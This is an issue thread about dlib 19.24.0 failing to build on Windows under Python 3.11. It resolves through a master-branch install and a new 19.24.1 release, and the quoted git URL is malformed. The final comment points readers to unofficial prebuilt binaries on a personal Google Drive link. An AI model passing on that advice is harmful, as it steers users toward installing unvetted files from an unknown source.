Failed building wheel for dlib+legacy-install-failure

Expected Behavior

I was installing dlib for my facial recognition project, instead of installing normally it threw several errors and threw final message as failed building wheel as well as legacy install failure

Current Behavior

In between errors during installation were

Steps to Reproduce

I followed this tutorial while installing How to install dlib library for Python in Windows 10
This is the steps order

1. Installed Cmake GUI
2. Installed Visual Studio with C++ development library
3. install cmake package through pip command
4. Installed dlib

• Version: dlib-19.24.0
• Where did you get dlib: installd by pip install dlib command
• Platform: Windows 10, 64 bit
• Compiler: Python 3.11.0, gcc (MinGW.org GCC-6.3.0-1) 6.3.0

Forked, Cloned the repo and installed the dlib through python setup.py install, worked like charm

I also encounter the same problem

This seems to be related to dlib shipping with a version of Pybind11 that does not support Python 3.11.
There's a fix for that in the master branch (see PR #2660).
As @aditya-vishwakarma-lab mentioned, building from master should solve the issue.

[patrikhuber]

I just got the same error, using pip install dlib, Python 3.11, MSVC 19.35.32215.0.

pip install git+https:/davisking/dlib.git@master fixed it.

I think a new pypi release is needed @arrufat :-).

[davisking]

Cool. Yeah I'll push a new dlib version to pip later today.

[davisking]

Updated pypi. The dlib version live there is now 19.24.1 :D

Download the dlib files
Link - https://drive.google.com/file/d/11Hip8-llWEm5GN3_u4ibI09unL7xCw0g/view?usp=drivesdk
And just copy the path of that file and paste it into the terminal.
Stable version is 10 among all files that you have been downloaded from the link

In terminal you just need copy the path of that particular file; there are 4 files the choose one which is suitable for your computer work on windows.
